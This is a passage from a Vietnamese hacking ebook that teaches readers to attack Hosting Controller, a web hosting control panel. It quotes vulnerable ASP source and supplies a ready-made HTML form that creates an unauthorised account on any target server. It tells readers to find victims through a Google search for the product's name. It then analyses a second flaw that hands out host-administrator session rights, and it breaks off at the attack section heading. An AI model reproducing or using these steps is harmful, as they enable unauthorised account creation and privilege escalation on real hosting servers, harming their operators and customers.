Hacker Professional Ebook part 306 doc

phone = T(Request.Form("phone")) zip = T(Request.Form("zip")) > Khai báo các biến và gán cho nó các giá trị quan trọng được người dùng gởi tới từ client -> như "loginname" và "password" v v QUOTE 'sub function to create the new User Account Result = InternalAddUser(UserName,Domain,Password,UserName, UserName,"FALSE","FALSE",NAdminLevel,existingemail ) if (Result >= 1 and Result < 9) then session.Abandon() end if Response.Write "Result of user creation is : " & Result & "<br>" 'Response.End & #39;============================================== ============================== ====== 'Create User function public function addUser(UserName,Password,QuotaLimit) on error resume next ' 'initallization newadminlevel = "webadmin" Description = "Web admin" set rs = Server.CreateObject("ADODB.RecordSet") set adm = Server.CreateObject("AdvAdmin.AccountAdmin") autosetupreseller = adm.GetStrAdvReg("General","autosetupreseller") set adm = nothing AdminName = autosetupreseller m_UserName = UserName m_Password = Password 'check the existance of the reseller account 'Result = CheckReseller() WebQuota = 0 MailQuota = 0 FtpQuota = QuotaLimit ODBCQuota = QuotaLimit VDirQuota = QuotaLimit ServuQuota = 0 StatsQuota = 0 Session("AdminName") = autosetupreseller Result = InternalAddUser(m_UserName,Domain,m_Password,m_Use rName,m_UserName,"FALSE","TRUE",newadminlevel) addUser = Result end function > Tạo user với các giá trị biến ! (source của file này còn nhiều , nhưng chúng ta chỉ cần xem tới đây là đủ ! hi hi) -> heee -> tới đây chắc các bạn cũng đã hiểu file này có khả năng làm được gì rùi chứ ! -> Ta có thể tạo được một User mới nhờ file này ! 3) Tấn công : - Bây giờ làm cách nào để ta tạo ra môt Account trên HC đây ! -> rất đơn giản ! -> chúng ta chỉ cần tạo một file "AddUser.html" có nội dung như sau : CODE <FORM action="http://[target]/admin/hosting/addsubsite_online.asp" method="post"> <INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1"> Domain: <INPUT name="DomainName" value="hcegroup.net" id="Hidden2"><BR> Username: <INPUT name="loginname" value="kehieuhoc" id="Hidden3"><BR> <INPUT type="hidden" name="Quota" value="-1" id="Hidden4"> <INPUT type="hidden" name="htype" value="27" id="htype5" > <INPUT type="hidden" name="choice" value="1" id="Hidden6" > Password: <INPUT name="password" value="kehieuhoc" id="Hidden7"><BR><BR> <input type="submit" value="Make"> </FORM> Lưu file này lại trên PC của ta và run nó ! -> nhập các thông tin username , password -> make -> chuyện gì đã xãy ra ! -> Một Account mới đã được tạo trên HC theo ý muốn của mình ! (Search trên Google.com với từ khóa chẳng hạn như: "powered by Hosting Controller" để tìm các Server sử dụng HC) Hết phần I // KeHieuHoc - HCE Group \\ Chào các bạn ! Hosting Controller thật là tiện dụng nhưng cũng thật là nguy hiễm với những lỗi bảo mật của nó phải không các bạn ! Và hôm nay chúng ta sẽ tiếp tục tìm hiểu về những lổ hỏng bảo mật này ! Như các bạn đã biết , ở phần I chúng ta đã nghiên cứu và tìm ra được cách tạo một Account trên HC với quyền "Web Admin" từ bên ngoài . Nhưng với Account này chúng ta bị giới hạn quyền rất nhiều trên HC . Vì vậy bây giờ chúng ta hãy tìm cách có được quyền hạn cao nhất trên HC , nhưng Account nào có được quyền hạn đó và làm cách nào để có được nó ? Phần II : " Login với quyền Host Admin " I) Suy luận : - Sau khi có được Account -> chúng ta login vào HC ,lúc này để hệ thống chấp nhận Account được phép sử dụng tài nguyên trên HC thì HC phải cấp cho ta một số "session" -> đây là những "session" cơ bản mà bất cứ Account nào cũng cần phải có nó để hoat động trên HC ! -> Những "Session" này sẽ được tạo ra trong quá trình Login ! - Những session này đã giúp cho chúng ta được phép sử dụng được một số chức năng cơ bản ! - Account trên HC có một vài phân cấp khác nhau như : "webadmin" , "reseller" , "host" -> trong đó ta đặt biệt chú về Account có quyền "host" -> bởi vì nó có quyền cao nhất HC - Nhưng để hệ thống HC phân biệt Account này với Account có quyền "webadmin" thì nó phải cấp thêm một vài Session đặt biệt nữa cho Accout này ! -> Ở phần trước chúng ta đã có Account với quyền "webadmin" -> tức chúng ta có thể tạo ra những session cơ bản .Nếu có thêm những session đặt biệt -> chúng ta có quyền "Host Admin" ! -> Mục tiêu của chúng ta bây giờ là tìm cách tạo ra những session đăt biệt này! -> hic , nhưng bằng nào đây ! -> rất may cho ta , trên HC xuất hiện thêm một bug giúp chúng ta làm được việc này ! II) Phân tích bug : - Bug này nằm ở file: "dsp_newreseller.asp" , chúng ta cùng xem source của nó ! CODE <% dim rs dim autosignup set conn = Server.CreateObject("ADODB.Connection") set rs = Server.CreateObject("ADODB.RecordSet") set adm = Server.CreateObject("AdvAdmin.AccountAdmin") ConnString = adm.GetStrAdvReg("General","ConnString") conn.Open ConnString strQuery = "select * from Admin_List where AdminLevel='host'" rs.Open strQuery,conn,1,3 AdminName = rs.Fields("Name") rs.Close AdminLevel = "host" Session("AdminName") = AdminName Session("AdminLevel") = AdminLevel set AdminObj = server.createobject("AdvAdmin.AccountAdmin") DomainName = Trim(AdminObj.GetMachineName) set AdminObj = nothing Session("ValidReq") = true Session("Domain") = DomainName Application("Connection1_connectionString") = ConnString & #39;********************************************** ****************************** ******** '*** get the properties of the host and if he is found in the cyber cash table show it '*** it the reseller CC form other wise do not strQuery = "select propname from cybercash where adminname='"& AdminName &"'" rs.Open strQuery,conn,1,3 if rs.EOF then autosignup = 0 else autosignup = 1 end if rs.Close %> - Session("ValidReq") = true - " strQuery = "select * from Admin_List where AdminLevel='host'" " -> lấy tất cả data từ cái table " Admin_List " ở AdminLevel='host'" - " AdminName = rs.Fields("Name") " -> Vì cái Account tên "Hcadmin" có quyền "host" thường là giá trị đầu tiên của coloum "name" nên biến AdminName = "hcadmin" Và " Session("AdminName") = AdminName " -> Session("AdminName") = "hcadmin" QUOTE AdminLevel = "host" Session("AdminLevel") = AdminLevel -> Session("AdminLevel") = "host" -> session đặt biệt ! III) Tấn công :